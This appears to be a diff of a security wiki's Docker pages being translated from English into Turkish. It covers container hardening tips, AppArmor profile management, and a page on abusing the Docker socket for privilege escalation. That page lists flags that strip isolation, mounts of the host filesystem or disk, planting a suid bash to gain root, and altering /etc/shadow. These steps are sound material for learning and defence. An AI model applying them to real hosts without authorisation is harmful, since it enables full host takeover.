Bu yapılandırma, Docker Compose ile hizmetleri başlatırken gizli bilgilerin kullanılmasına olanak tanır.
|
||||
|
||||
This configuration allows for the use of secrets when starting services with Docker Compose.
|
||||
|
||||
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
|
||||
Kubernetes ortamlarında, gizli bilgiler yerel olarak desteklenir ve [Helm-Secrets](https://github.com/futuresimple/helm-secrets) gibi araçlarla daha fazla yönetilebilir. Kubernetes'in Rol Tabanlı Erişim Kontrolleri (RBAC), gizli bilgi yönetimi güvenliğini artırır, Docker Enterprise'a benzer şekilde.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
|
||||
**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistem yüzeyinin önemli bir kısmını uygular. Uygulama ile ana makine çekirdeği arasında **izolasyon sınırı** sağlayan `runsc` adlı bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanı içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olur ve sandboxed konteynerleri çalıştırmayı basit hale getirir.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
|
||||
**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırma** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Summary Tips
|
||||
### Özet İpuçları
|
||||
|
||||
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
|
||||
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
|
||||
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack.
|
||||
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
|
||||
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
|
||||
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
|
||||
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
|
||||
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
|
||||
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
|
||||
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
|
||||
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files.
|
||||
- Have **separate containers for each micro-s**ervice
|
||||
- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container.
|
||||
- Have **smaller** container **images**
|
||||
- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak.
|
||||
- **Konteyner içinde root olarak çalışmayın.** [**Farklı bir kullanıcı kullanın**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)**.** Konteynerdeki root, kullanıcı ad alanları ile yeniden haritalanmadıkça ana makinedeki ile aynıdır. Sadece, esasen, Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
|
||||
- [**Tüm yetenekleri kaldırın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü herhangi bir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırının kapsamını artırır.
|
||||
- [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **süreçlerin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.**
|
||||
- [**Konteynere sunulan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makineyi hizmet reddi saldırılarından koruyabilir.
|
||||
- **Kısıtlamaları en aza indirmek için** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayın.
|
||||
- **Resmi docker görüntülerini kullanın** [**ve imzaları gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi görüntülerinizi oluşturun.** [Backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüleri miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifrelerini güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor.
|
||||
- **Düzenli olarak** **görüntülerinizi yeniden oluşturun** **güvenlik yamalarını ana makineye ve görüntülere uygulamak için.**
|
||||
- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganların bunlara erişmesi zor olur.
|
||||
- Eğer **docker daemon'ı açığa çıkarıyorsanız HTTPS kullanın** istemci ve sunucu kimlik doğrulaması ile.
|
||||
- Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD, otomatik olarak sıkıştırılmış dosyaları çıkarır ve URL'lerden dosyaları kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunda, uzaktan URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmamak için ADD kullanmaktan kaçının.
|
||||
- Her mikro hizmet için **ayrı konteynerler** oluşturun.
|
||||
- **Konteyner içinde ssh bulundurmayın**, “docker exec” kullanılarak konteynere ssh yapılabilir.
|
||||
- **Daha küçük** konteyner **görüntüleri** oluşturun.
|
||||
|
||||
## Docker Breakout / Privilege Escalation
|
||||
## Docker Breakout / Yetki Yükseltme
|
||||
|
||||
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
|
||||
Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda** bir kullanıcıya erişiminiz varsa, **kaçmayı ve yetkileri yükseltmeyi** deneyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
## Docker Kimlik Doğrulama Eklentisi Atlatma
|
||||
|
||||
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
|
||||
Eğer docker soketine erişiminiz varsa veya **docker grubunda** bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından kısıtlanıyorsa, **bunu atlatıp atlatamayacağınıza bakın:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
{{#endref}}
|
||||
|
||||
## Hardening Docker
|
||||
## Docker'ı Güçlendirme
|
||||
|
||||
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
- [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, üretimde Docker konteynerlerini dağıtma ile ilgili birçok yaygın en iyi uygulamayı kontrol eden bir betiktir. Testler tamamen otomatik olup, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınarak yapılmaktadır.\
|
||||
Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmalısınız. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
|
||||
@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,43 +1,43 @@
|
||||
# Abusing Docker Socket for Privilege Escalation
|
||||
# Docker Soketini İstismar Ederek Yetki Yükseltme
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
|
||||
Bazen sadece **docker soketine erişiminiz** vardır ve bunu **yetki yükseltmek** için kullanmak istersiniz. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu nedenle burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz:
|
||||
|
||||
### Via mount
|
||||
### Mount Üzerinden
|
||||
|
||||
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
|
||||
You could also **abuse a mount to escalate privileges** inside the container.
|
||||
Farklı **dosya sistemi** parçalarını kök olarak çalışan bir konteynerde **mount** edebilir ve bunlara **erişebilirsiniz**.\
|
||||
Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebilirsiniz**.
|
||||
|
||||
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
|
||||
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
|
||||
- `--privileged`
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
- `--security-opt seccomp=unconfined`
|
||||
- `-security-opt label:disable`
|
||||
- `--pid=host`
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
|
||||
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
|
||||
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
|
||||
- **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount ederek **ana bilgisayar dosya sistemini okuyabilirsiniz.**
|
||||
- **Ana bilgisayarda olduğunuzu hissetmek** istiyorsanız ama konteynerdeyseniz, şunları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz:
|
||||
- `--privileged`
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
- `--security-opt seccomp=unconfined`
|
||||
- `-security-opt label:disable`
|
||||
- `--pid=host`
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Ardından, konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.**
|
||||
- Ana bilgisayarda `fdisk -l` komutunu çalıştırarak mount edilecek `</dev/sda1>` cihazını bulun.
|
||||
- **`-v /tmp:/host`** -> Eğer bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayarda erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.**
|
||||
|
||||
> [!NOTE]
|
||||
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
|
||||
> Belki `/tmp` klasörünü mount edemeyeceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` kullanabilirsiniz.
|
||||
>
|
||||
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
|
||||
> **Unutmayın ki bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
|
||||
>
|
||||
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
|
||||
> Ayrıca **`/etc`** veya **konfigürasyon dosyaları içeren** başka bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek).
|
||||
|
||||
### Escaping from the container
|
||||
### Konteynerden Kaçış
|
||||
|
||||
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
|
||||
- **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Köktan yetkili konteynerlerden kaçış tekniklerini](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) kontrol edin.
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **bu yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın.
|
||||
|
||||
### Curl
|
||||
|
||||
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
|
||||
Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin yollarını bulabilirsiniz:
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,31 +2,30 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
|
||||
AppArmor, **programlara program başına profiller aracılığıyla mevcut kaynakları kısıtlamak için tasarlanmış bir çekirdek geliştirmesidir**, erişim kontrol özelliklerini doğrudan programlara bağlayarak Zorunlu Erişim Kontrolü (MAC) uygulamaktadır. Bu sistem, **profilleri çekirdeğe yükleyerek** çalışır, genellikle önyükleme sırasında, ve bu profiller bir programın erişebileceği kaynakları, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi, belirler.
|
||||
|
||||
There are two operational modes for AppArmor profiles:
|
||||
AppArmor profilleri için iki çalışma modu vardır:
|
||||
|
||||
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
|
||||
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
|
||||
- **Zorunlu Mod**: Bu mod, profil içinde tanımlanan politikaları aktif olarak uygular, bu politikaları ihlal eden eylemleri engeller ve bunları syslog veya auditd gibi sistemler aracılığıyla kaydeder.
|
||||
- **Şikayet Modu**: Zorunlu modun aksine, şikayet modu profilin politikalarına aykırı olan eylemleri engellemez. Bunun yerine, bu girişimleri politika ihlali olarak kaydeder ve kısıtlamaları uygulamaz.
|
||||
|
||||
### Components of AppArmor
|
||||
### AppArmor Bileşenleri
|
||||
|
||||
- **Kernel Module**: Responsible for the enforcement of policies.
|
||||
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
|
||||
- **Parser**: Loads policies into the kernel for enforcement or reporting.
|
||||
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
|
||||
- **Çekirdek Modülü**: Politikaların uygulanmasından sorumludur.
|
||||
- **Politikalar**: Program davranışı ve kaynak erişimi için kuralları ve kısıtlamaları belirtir.
|
||||
- **Ayrıştırıcı**: Politikaları uygulama veya raporlama için çekirdeğe yükler.
|
||||
- **Araçlar**: AppArmor ile etkileşimde bulunmak ve yönetmek için bir arayüz sağlayan kullanıcı modu programlarıdır.
|
||||
|
||||
### Profiles path
|
||||
### Profillerin Yolu
|
||||
|
||||
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
|
||||
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
|
||||
AppArmor profilleri genellikle _**/etc/apparmor.d/**_ dizininde saklanır.\
|
||||
`sudo aa-status` komutunu kullanarak bazı profiller tarafından kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir nokta ile değiştirebilir ve belirtilen klasördeki apparmor profilinin adını elde edebilirsiniz.
|
||||
|
||||
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Commands
|
||||
Örneğin, _/usr/bin/man_ için bir **apparmor** profili _/etc/apparmor.d/usr.bin.man_ konumunda bulunacaktır.
|
||||
|
||||
### Komutlar
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
|
||||
aa-logprof #used to change the policy when the binary/program is changed
|
||||
aa-mergeprof #used to merge the policies
|
||||
```
|
||||
## Profil Oluşturma
|
||||
|
||||
## Creating a profile
|
||||
|
||||
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
|
||||
- To indicate the access the binary will have over **files** the following **access controls** can be used:
|
||||
- **r** (read)
|
||||
- **w** (write)
|
||||
- **m** (memory map as executable)
|
||||
- **k** (file locking)
|
||||
- **l** (creation hard links)
|
||||
- **ix** (to execute another program with the new program inheriting policy)
|
||||
- **Px** (execute under another profile, after cleaning the environment)
|
||||
- **Cx** (execute under a child profile, after cleaning the environment)
|
||||
- **Ux** (execute unconfined, after cleaning the environment)
|
||||
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
|
||||
- **Deny rules are supported to override allow rules**.
|
||||
- Etkilenen çalıştırılabilir dosyayı belirtmek için, **mutlak yollar ve joker karakterler** (dosya globbing için) dosyaları belirtmekte kullanılabilir.
|
||||
- İkili dosyanın **dosyalar** üzerindeki erişimini belirtmek için aşağıdaki **erişim kontrolleri** kullanılabilir:
|
||||
- **r** (okuma)
|
||||
- **w** (yazma)
|
||||
- **m** (bellek haritası olarak çalıştırılabilir)
|
||||
- **k** (dosya kilitleme)
|
||||
- **l** (sert bağlantılar oluşturma)
|
||||
- **ix** (yeni programın politika miras alarak başka bir programı çalıştırması için)
|
||||
- **Px** (ortamı temizledikten sonra başka bir profil altında çalıştır)
|
||||
- **Cx** (ortamı temizledikten sonra bir çocuk profil altında çalıştır)
|
||||
- **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak çalıştır)
|
||||
- **Değişkenler** profillerde tanımlanabilir ve profil dışından manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \<tunables/global> ekleyin)
|
||||
- **İzin kurallarını geçersiz kılmak için reddetme kuralları desteklenmektedir**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
|
||||
You just need to run:
|
||||
|
||||
Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir ikili dosya tarafından gerçekleştirilen eylemleri incelemesi ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanıması mümkündür**.\
|
||||
Sadece şunu çalıştırmanız yeterlidir:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
|
||||
Then, in a different console perform all the actions that the binary will usually perform:
|
||||
|
||||
Daha sonra, farklı bir konsolda ikili dosyanın genellikle gerçekleştireceği tüm eylemleri gerçekleştirin:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
|
||||
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
|
||||
Sonra, ilk konsolda "**s**" tuşuna basın ve ardından kaydedilen eylemlerde neyi yok saymak, neyi izin vermek veya ne yapacağınızı belirtin. İşlemi bitirdiğinizde "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ içinde oluşturulacaktır.
|
||||
|
||||
> [!NOTE]
|
||||
> Using the arrow keys you can select what you want to allow/deny/whatever
|
||||
> Ok tuşlarını kullanarak neyi izin vermek/yok saymak/veya ne yapmak istediğinizi seçebilirsiniz.
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
You can also create a template of an apparmor profile of a binary with:
|
||||
|
||||
Bir ikili dosyanın apparmor profilinin bir şablonunu da oluşturabilirsiniz:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
|
||||
# No template variables specified
|
||||
|
||||
"/path/to/binary" {
|
||||
#include <abstractions/base>
|
||||
#include <abstractions/base>
|
||||
|
||||
# No abstractions specified
|
||||
# No abstractions specified
|
||||
|
||||
# No policy groups specified
|
||||
# No policy groups specified
|
||||
|
||||
# No read paths specified
|
||||
# No read paths specified
|
||||
|
||||
# No write paths specified
|
||||
# No write paths specified
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
|
||||
|
||||
You can then **enforce** the new profile with
|
||||
> Oluşturulan bir profilde varsayılan olarak hiçbir şeye izin verilmediğini unutmayın, bu nedenle her şey reddedilir. Örneğin, `/etc/passwd` dosyasının okunmasına izin vermek için `/etc/passwd r,` gibi satırlar eklemeniz gerekecek.
|
||||
|
||||
Daha sonra yeni profili **uygulayabilirsiniz**.
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Loglardan bir profili değiştirme
|
||||
|
||||
### Modifying a profile from logs
|
||||
|
||||
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
|
||||
|
||||
Aşağıdaki araç, logları okuyacak ve kullanıcıya tespit edilen yasaklı eylemlerden bazılarını izin verip vermek istemediğini soracaktır:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Using the arrow keys you can select what you want to allow/deny/whatever
|
||||
|
||||
### Managing a Profile
|
||||
> Ok tuşlarını kullanarak neyi izin vermek/engellemek/başka bir şey yapmak istediğinizi seçebilirsiniz.
|
||||
|
||||
### Bir Profili Yönetmek
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
||||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Loglar
|
||||
|
||||
## Logs
|
||||
|
||||
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
|
||||
|
||||
Örnek **AUDIT** ve **DENIED** logları _/var/log/audit/audit.log_ dosyasından **`service_bin`** yürütülebilir dosyası için:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
|
||||
You can also get this information using:
|
||||
|
||||
Bu bilgiyi şu şekilde de alabilirsiniz:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
|
||||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## Docker'da Apparmor
|
||||
|
||||
## Apparmor in Docker
|
||||
|
||||
Note how the profile **docker-profile** of docker is loaded by default:
|
||||
|
||||
Docker'ın **docker-profile** profilinin varsayılan olarak nasıl yüklendiğine dikkat edin:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
50 profiles are loaded.
|
||||
13 profiles are in enforce mode.
|
||||
/sbin/dhclient
|
||||
/usr/bin/lxc-start
|
||||
/usr/lib/NetworkManager/nm-dhcp-client.action
|
||||
/usr/lib/NetworkManager/nm-dhcp-helper
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_java
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
|
||||
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
|
||||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
/sbin/dhclient
|
||||
/usr/bin/lxc-start
|
||||
/usr/lib/NetworkManager/nm-dhcp-client.action
|
||||
/usr/lib/NetworkManager/nm-dhcp-helper
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_java
|
||||
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
|
||||
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
|
||||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
